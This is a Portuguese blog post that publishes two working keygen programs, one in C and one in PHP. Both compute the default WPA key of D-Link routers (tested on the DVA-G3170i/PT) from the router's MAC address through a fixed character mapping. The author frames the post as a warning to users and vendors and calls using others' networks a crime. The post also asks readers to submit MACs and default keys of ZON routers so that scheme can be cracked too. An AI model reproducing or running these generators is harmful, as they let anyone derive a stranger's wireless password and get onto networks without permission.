Aproveito para tornar publico o código PHP que gera as chaves dos routers DLink, assim como o código fonte em C do programa que originou o mesmo, uma vez que o autor assim o permitiu.

Aproveito o Post para relembrar que o objectivo do blog não é nem nunca foi incentivar à utilização de redes wireless alheias, pois isso é crime, apenas tento alertar os utilizadores para a necessidade da alteração das passwords por defeito, e também para a necessidade das empresas criadoras dos routers em questão arranjarem formas mais eficazes de gerar chaves aleatórias e não chaves que tenham a haver com o nome da rede ou MAC, compreendo que numa situação de produção em grande escala o mesmo é difícil pois a etiqueta com a password é colocada por ultimo e estas já estão feitas conforme o mac do router, seria preferível criarem os routers com as redes abertas, e alertar na etiqueta para a necessidade de alteração da segurança wireless.
Relativamente a pedidos das chaves ZON, etc … teria todo gosto em verificar os métodos de criação das mesmas, sendo assim caso possuam um router ZON ou outro que na etiqueta tenha a chave predefinida, enviem por comentário o MAC do mesmo o nome da rede e chave original, de forma a se tentar ver qual o método de criação das mesmas, sem isso não tenho possibilidades de estudar os mesmos.
Deixo então abaixo os Códigos fontes em C e PHP com os respectivos créditos no interior do mesmo:
Em C by Xpt0niX
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
/* 0= X
1= r
2= q
3= a
4= H
5= N
6= p
7= d
8= S
9= Y
A= w
B= 8
C= 6
D= 2
E= 1
F= 5
Based on a MAC address:
12 34 56 78 9a bc
Pattern of the mixing char must be:
c1 b2 a3 94 85 76 27 9a c3 5b
The final Result for the WPA/SPK key is:
6r 8q wa YH SN dp qd Yw 6a N8
*/
int Alpha_MACString_Remove_Separator(unsigned char *mac, unsigned char *str)
{
int i,j;
if (mac==NULL) return 1;
for (j=0,i=0;i<17;i++)
if (mac[i]!=':' && mac[i]!='-' && mac[i]!='.' && mac[i]!='_')
str[j++] = mac[i];
return 0;
}
#ifdef IFX_MULTILIB_UTIL
#define main wpakeygen_main
#endif
int main(int argc, char **argv)
{
unsigned char mac[12],key[20],newkey[20];
int i,j,index;
char t;
char hash[16] = { 'X', 'r', 'q', 'a', 'H', 'N', 'p', 'd', 'S', 'Y', 'w', '8', '6', '2', '1', '5'};
if (argc !=2 )
{
printf("Usage: wpakeygen {MAC}\n");
printf("Tested on D-Link DVA-G3170i/PT by Xpt0niX");
return 0;
}
Alpha_MACString_Remove_Separator(argv[1], mac);
key[0]=mac[11];
key[1]=mac[0];
key[2]=mac[10];
key[3]=mac[1];
key[4]=mac[9];
key[5]=mac[2];
key[6]=mac[8];
key[7]=mac[3];
key[8]=mac[7];
key[9]=mac[4];
key[10]=mac[6];
key[11]=mac[5];
key[12]=mac[1];
key[13]=mac[6];
key[14]=mac[8];
key[15]=mac[9];
key[16]=mac[11];
key[17]=mac[2];
key[18]=mac[4];
key[19]=mac[10];
//printf("key=%c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c\n",key[0], key[1],key[2],key[3],key[4],key[5],key[6],key[7],key[8],key[9],key[10],key[11],key[12],key[13],key[14],key[15],key[16],key[17],key[18],key[19]);
for (i=0;i<20;i++)
{
t=key[i];
if ((t >= '0') && (t <= '9'))
index = t-'0';
else
{
t=toupper(t);
if ((t >= 'A') && (t <= 'F'))
index = t-'A'+10;
else return 1;
}
newkey[i]=hash[index];
}
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",newkey[0], newkey[1],newkey[2],newkey[3],newkey[4],newkey[5],newkey[6],newkey[7],newkey[8],newkey[9],newkey[10],newkey[11],newkey[12],newkey[13],newkey[14],newkey[15],newkey[16],newkey[17],newkey[18],newkey[19]);
return 0;
}
Em PHP by NarG
<?php
//
$mac = "123456780ABC";
echo gerador($mac);
function gerador($mac) {
$key = "XXXXXXXXXXXXXXXXXXXX";
for($i=0;$i<strlen($mac);$i++) {
switch ($i) {
case 0:
$key[1] = dicionario($mac[$i]);
break;
case 1:
$key[3] = dicionario($mac[$i]);
$key[12] = dicionario($mac[$i]);
break;
case 2:
$key[5] = dicionario($mac[$i]);
$key[17] = dicionario($mac[$i]);
break;
case 3:
$key[7] = dicionario($mac[$i]);
break;
case 4:
$key[9] = dicionario($mac[$i]);
$key[18] = dicionario($mac[$i]);
break;
case 5:
$key[11] = dicionario($mac[$i]);
break;
case 6:
$key[10] = dicionario($mac[$i]);
$key[13] = dicionario($mac[$i]);
break;
case 7:
$key[8] = dicionario($mac[$i]);
break;
case 8:
$key[6] = dicionario($mac[$i]);
$key[14] = dicionario($mac[$i]);
break;
case 9:
$key[15] = dicionario($mac[$i]);
$key[4] = dicionario($mac[$i]);
break;
case 10:
$key[2] = dicionario($mac[$i]);
$key[19] = dicionario($mac[$i]);
break;
case 11:
$key[0] = dicionario($mac[$i]);
$key[16] = dicionario($mac[$i]);
break;
}
}
return $key;
}
function dicionario($letra) {
$letra = strtoupper($letra);
switch ($letra) {
case "1":
return "r";
break;
case "2":
return "q";
break;
case "3":
return "a";
break;
case "4":
return "H";
break;
case "5":
return "N";
break;
case "6":
return "p";
break;
case "7":
return "d";
break;
case "8":
return "S";
break;
case "9":
return "Y";
break;
case "0":
return "X";
break;
case "A":
return "w";
break;
case "B":
return "8";
break;
case "C":
return "6";
break;
case "D":
return "2";
break;
case "E":
return "1";
break;
case "F":
return "5";
break;
default:
return false;
break;
}
}
?>